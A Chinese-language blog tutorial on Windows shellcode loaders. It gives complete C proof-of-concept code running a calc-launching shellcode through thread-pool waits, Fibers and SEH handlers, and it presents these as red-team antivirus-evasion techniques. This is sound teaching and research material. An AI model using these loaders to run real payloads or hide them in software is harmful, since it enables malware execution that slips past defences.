【Day 18】Shellcode 与他的快乐夥伴 (上) - Shellcode Loader

环境

  • Windows 10 21H1
  • Visual Studio 2019

前情提要

【Day 07】欢迎来到实力至上主义的 Shellcode (上) - Windows x86 Shellcode【Day 08】欢迎来到实力至上主义的 Shellcode (下) - Windows x86 Shellcode 我们了解 Shellcode 的实作原理。实际用途方面,除了在找到程序漏洞时可以使用之外,红队也可以利用 Shellcode 的弹性来绕过防毒软件的侦测。

这篇就要来介绍一些常见的 Shellcode 载入方式,会拿之前写过的 Windows x86 Shellcode 当作范例,不过其实同样的载入方式有些也可以用在 64-bit。

为什麽需要 Shellcode Loader

因为 Shellcode 的弹性很大,所以许多红队的工具都会用到。这里所谓的弹性是指我们可以透过加密、编码等等方式,载入或注入到 Process 中执行。也是因为这份弹性,Shellcode 可以比较难被防毒软件侦测到,因此用来载入 Shellcode 并执行的 Shellcode Loader 的实作方法就成了下一个目标。

这篇会着重在 Shellcode 的载入方式上,所以不会实作加解密或编码的部分,而是会直接从已经取得 Shellcode 资源并解密完毕开始。

CreateThreadpoolWait

原理

Event Object

程序中可以使用 Event Object,藉由呼叫 CreateEvent 建立 Event Object,还有使用 SetEvent 设定 Event Object 的状态。Event Object 可以用在处理 Race Condition、非同步,藉由设定 Event Object 的状态,让 Thread 之间彼此协调进度。Event Object 的状态有 Signaled 和 Nonsignaled,在呼叫 CreateEvent 时可以透过第三个参数 bInitialState 设定状态,或是呼叫 SetEvent 让 Event Object 的状态改为 Signaled。

Wait Object

Wait Object 顾名思义是用来等待某个目标,准确来说是 Waitable Object。可以透过 CreateThreadpoolWait 建立一个 Wait Object,然後用 SetThreadpoolWait 设定这个 Wait Object 等待的目标。其中呼叫 CreateThreadpoolWait 时可以设定 Callback 函数,当等待的目标的状态变为 Signaled 就会呼叫它。

利用

根据上述的 Event Object 和 Wait Object,我们可以先建立一个 Event Object,状态设为 Signaled。接着建立一个 Wait Object,然後设定它的 Callback 函数为我们的 Shellcode,最後让这个 Wait Object 等待我们建立的 Event Object。由於 Event Object 的状态本来就是 Signaled,所以 Shellcode 会马上被执行。

实作步骤

  1. 用 VirtualAlloc 分配记忆体空间给 Shellcode,记忆体保护为 PAGE_EXECUTE_READWRITE,并把 Shellcode 放进这块记忆体
  2. 建立一个 Event Object,其中 CreateEvent 第三个参数,初始状态为 True,代表 Signaled
  3. 建立一个 Pool Object,把 CreateThreadpoolWait 第一个参数,也就是 Callback 函数设为 Shellcode
  4. 让 Pool Object 等待 Event Object 後执行 Shellcode,但因为 Event Object 一开始状态就是 Signaled,所以会直接执行 Shellcode
  5. 用 Sleep 等待一秒确保 Callback 函数有被执行

POC

程序专案可以参考我的 GitHub zeze-zeze/2021iThome

#include <windows.h>

int main()
{
    char shellcode[] = "\x50\x53\x51\x52\x56\x57\x55\x89\xE5\x83\xEC\x18\x31\xF6\x56\x68\x78\x65\x63\x00\x68\x57\x69\x6E\x45\x89\x65\xFC\x64\x8B\x1D\x30\x00\x00\x00\x8B\x5B\x0C\x8B\x5B\x14\x8B\x1B\x8B\x1B\x8B\x5B\x10\x89\x5D\xF8\x8B\x43\x3C\x01\xD8\x8B\x40\x78\x01\xD8\x8B\x48\x24\x01\xD9\x89\x4D\xF4\x8B\x78\x20\x01\xDF\x89\x7D\xF0\x8B\x50\x1C\x01\xDA\x89\x55\xEC\x8B\x50\x14\x31\xC0\x8B\x7D\xF0\x8B\x75\xFC\x31\xC9\xFC\x8B\x3C\x87\x01\xDF\x66\x83\xC1\x08\xF3\xA6\x74\x0A\x40\x39\xD0\x72\xE5\x83\xC4\x24\xEB\x3F\x8B\x4D\xF4\x8B\x55\xEC\x66\x8B\x04\x41\x8B\x04\x82\x01\xD8\x31\xD2\x52\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x68\x6D\x33\x32\x5C\x68\x79\x73\x74\x65\x68\x77\x73\x5C\x53\x68\x69\x6E\x64\x6F\x68\x43\x3A\x5C\x57\x89\xE6\x6A\x0A\x56\xFF\xD0\x83\xC4\x44\x5D\x5F\x5E\x5A\x59\x5B\x58\xC3";

    // 1. 用 VirtualAlloc 分配记忆体空间给 Shellcode,记忆体保护为 PAGE_EXECUTE_READWRITE,并把 Shellcode 放进这块记忆体
    LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(Memory, shellcode, sizeof(shellcode));

    // 2. 建立一个 Event Object,其中 CreateEvent 第三个参数,初始状态为 True,代表 Signaled
    HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);

    // 3. 建立一个 Pool Object,把 CreateThreadpoolWait 第一个参数,也就是 Callback 函数设为 Shellcode
    PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)Memory, NULL, NULL);

    // 4. 让 Pool Object 等待 Event Object 後执行 Shellcode,但因为 Event Object 一开始状态就是 Signaled,所以会直接执行 Shellcode
    SetThreadpoolWait(threadPoolWait, event, NULL);

    // 5. 用 Sleep 等待一秒确保 Callback 函数有被执行
    Sleep(1000);
    return 0;
}

Fiber

原理

Fiber Object

Fiber 是一个执行单位,它可以用来做排程的工作。以前面 Fiber MSDN 的连结为例,首先呼叫 ConvertThreadToFiber 让 Caller 和 Fiber 可以对 Fiber 进行排程,接着呼叫 CreateFiber 建立两个 Fiber,一个用来读档,另一个用来写档,把两个 Fiber 开始执行的位址分别设在读档和写档的函数。当读档的 Fiber 读完一部份的档案内容後,呼叫 SwitchToFiber 换到写档的 Fiber 写入刚读取的内容到另一个档案。

不确定有没有人会搞混 Fiber 和 Thread 两个执行单位,这边比较一下两者的差异。两者最大的差别在於排程的方式,Fiber 是 Cooperative,Thread 是 Pre-emptive(这是普遍情形,还是要看作业系统)。也就是说,Fiber 不需要担心 Race Condition 的问题,因为同个时间只有一个 Fiber 能动,而停止与执行的位址都是使用者定义的;然而 Thread 可以被中断在任何地方,而且可以同时执行多个 Thread,所以要小心处理资料的完整性。

利用

既然我们可以控制 Fiber 在任何位址执行,那就可以把执行的位址设在我们的 Shellcode。当呼叫 SwitchToFiber 时就会开始执行 Shellcode。

实作步骤

  1. 用 VirtualAlloc 分配记忆体空间给 Shellcode,记忆体保护为 PAGE_EXECUTE_READWRITE,并把 Shellcode 放进这块记忆体
  2. 呼叫 ConvertThreadToFiber 让 Caller 和 Fiber 可以对 Fiber 进行排程
  3. 用 CreateFiber 建立一个 Fiber,起始位址为我们的 Shellcode
  4. 呼叫 SwitchToFiber 开始执行上一步建立的 Fiber
  5. 释放 Fiber Handle 与记忆体

POC

程序专案可以参考我的 GitHub zeze-zeze/2021iThome

#include <windows.h>

int main()
{
    char shellcode[] = "\x50\x53\x51\x52\x56\x57\x55\x89\xE5\x83\xEC\x18\x31\xF6\x56\x68\x78\x65\x63\x00\x68\x57\x69\x6E\x45\x89\x65\xFC\x64\x8B\x1D\x30\x00\x00\x00\x8B\x5B\x0C\x8B\x5B\x14\x8B\x1B\x8B\x1B\x8B\x5B\x10\x89\x5D\xF8\x8B\x43\x3C\x01\xD8\x8B\x40\x78\x01\xD8\x8B\x48\x24\x01\xD9\x89\x4D\xF4\x8B\x78\x20\x01\xDF\x89\x7D\xF0\x8B\x50\x1C\x01\xDA\x89\x55\xEC\x8B\x50\x14\x31\xC0\x8B\x7D\xF0\x8B\x75\xFC\x31\xC9\xFC\x8B\x3C\x87\x01\xDF\x66\x83\xC1\x08\xF3\xA6\x74\x0A\x40\x39\xD0\x72\xE5\x83\xC4\x24\xEB\x3F\x8B\x4D\xF4\x8B\x55\xEC\x66\x8B\x04\x41\x8B\x04\x82\x01\xD8\x31\xD2\x52\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x68\x6D\x33\x32\x5C\x68\x79\x73\x74\x65\x68\x77\x73\x5C\x53\x68\x69\x6E\x64\x6F\x68\x43\x3A\x5C\x57\x89\xE6\x6A\x0A\x56\xFF\xD0\x83\xC4\x44\x5D\x5F\x5E\x5A\x59\x5B\x58\xC3";

    // 1. 用 VirtualAlloc 分配记忆体空间给 Shellcode,记忆体保护为 PAGE_EXECUTE_READWRITE,并把 Shellcode 放进这块记忆体
    LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(Memory, shellcode, sizeof(shellcode));

    // 2. 呼叫 ConvertThreadToFiber 让 Caller 和 Fiber 可以对 Fiber 进行排程
    PVOID mainFiber = ConvertThreadToFiber(NULL);

    // 3. 用 CreateFiber 建立一个 Fiber,起始位址为我们的 Shellcode
    PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE)Memory, NULL);

    // 4. 呼叫 SwitchToFiber 开始执行上一步建立的 Fiber
    SwitchToFiber(shellcodeFiber);

    // 5. 释放 Fiber Handle 与记忆体
    DeleteFiber(shellcodeFiber);
    return 0;
}

SEH

原理

SEH,全名 Structured Exception Handling,是用来处理程序的例外状况。使用者可以在程序中处理发生的例外,例如写入不可写的位址。SEH 可以让程序码更具可携性和弹性,也可以确保资源会在执行意外终止时正确释放

【Day 15】从零开始的 Debug 生活 - Debugger 原理【Day 16】从一开始的 Anti-Debug 生活 - Anti-Debug【Day 17】从二开始的 Anti-Anti-Debug 生活 - Anti-Anti-Debug 我们有提到 Debugger 的实作方式也是透过触发 EXCEPTION_BREAKPOINT 的方式下断点,然後也用同个方式故意制造例外来 Anti-Debug,最後也讲解该怎麽绕过 Anti-Debug 达到 Anti-Anti-Debug。

利用

可以故意触发例外,并在处理例外的地方执行 Shellcode。

实作步骤

  1. 用 VirtualAlloc 分配记忆体空间给 Shellcode,记忆体保护为 PAGE_EXECUTE_READWRITE,并把 Shellcode 放进这块记忆体
  2. 试图写入到 NULL Pointer,触发例外
  3. 处理例外,在里面执行 Shellcode

POC

程序专案可以参考我的 GitHub zeze-zeze/2021iThome

#include <windows.h>

int main()
{
	char shellcode[] = "\x50\x53\x51\x52\x56\x57\x55\x89\xE5\x83\xEC\x18\x31\xF6\x56\x68\x78\x65\x63\x00\x68\x57\x69\x6E\x45\x89\x65\xFC\x64\x8B\x1D\x30\x00\x00\x00\x8B\x5B\x0C\x8B\x5B\x14\x8B\x1B\x8B\x1B\x8B\x5B\x10\x89\x5D\xF8\x8B\x43\x3C\x01\xD8\x8B\x40\x78\x01\xD8\x8B\x48\x24\x01\xD9\x89\x4D\xF4\x8B\x78\x20\x01\xDF\x89\x7D\xF0\x8B\x50\x1C\x01\xDA\x89\x55\xEC\x8B\x50\x14\x31\xC0\x8B\x7D\xF0\x8B\x75\xFC\x31\xC9\xFC\x8B\x3C\x87\x01\xDF\x66\x83\xC1\x08\xF3\xA6\x74\x0A\x40\x39\xD0\x72\xE5\x83\xC4\x24\xEB\x3F\x8B\x4D\xF4\x8B\x55\xEC\x66\x8B\x04\x41\x8B\x04\x82\x01\xD8\x31\xD2\x52\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x68\x6D\x33\x32\x5C\x68\x79\x73\x74\x65\x68\x77\x73\x5C\x53\x68\x69\x6E\x64\x6F\x68\x43\x3A\x5C\x57\x89\xE6\x6A\x0A\x56\xFF\xD0\x83\xC4\x44\x5D\x5F\x5E\x5A\x59\x5B\x58\xC3";

	// 1. 用 VirtualAlloc 分配记忆体空间给 Shellcode,记忆体保护为 PAGE_EXECUTE_READWRITE,并把 Shellcode 放进这块记忆体
	LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	memcpy(Memory, shellcode, sizeof(shellcode));

	// 2. 试图写入到 NULL Pointer,触发例外
	int* p = 0x00000000;
	_try
	{
		*p = 13;
	}
		_except(EXCEPTION_EXECUTE_HANDLER)
	{
		// 3. 处理例外,在里面执行 Shellcode
		((void(*)())Memory)();
	}
	return 0;
}

其他

这篇都是在讲载入类型的 Shellcode Loader,下一篇会说明注入型的,差别在於注入型的可以注入到其他 Process 执行 Shellcode。另外载入型的 Shellcode Loader 还有其他比较复杂的玩法可以参考下面连结。

参考资料


<<:  Day21 vue.js网站删除特定文章

>>:  [Day19]程序菜鸟自学C++资料结构演算法 – 二元搜寻树(Binary Search Tree,BST)

[Day 24] SQL union / union all

class_A 资料表 s_id name gender age 1 Amy female 18 2...

day 2 coroutine和架构组件

今天会轻松一点,介绍coroutine的优势 coroutine有点难决定从哪里开始讲,最後决定从a...

铁人赛 Day17 -- 搞了这麽多天,来试着做会员登入介面吧

今日目标 : 不罗嗦,直接附上Code css .login{0 background-color:...

第一天 参赛宣言

经历了前两次的失败,决定还是第一天不要直接写文章! 换个心情,先写了参赛宣言。好好的展开一个挑战的开...

Day24-React 效能优化篇-上篇(四个优化效能的技巧)

在 React hook 篇章时我们认识了一些避免 re-render 的 hook,像是 useM...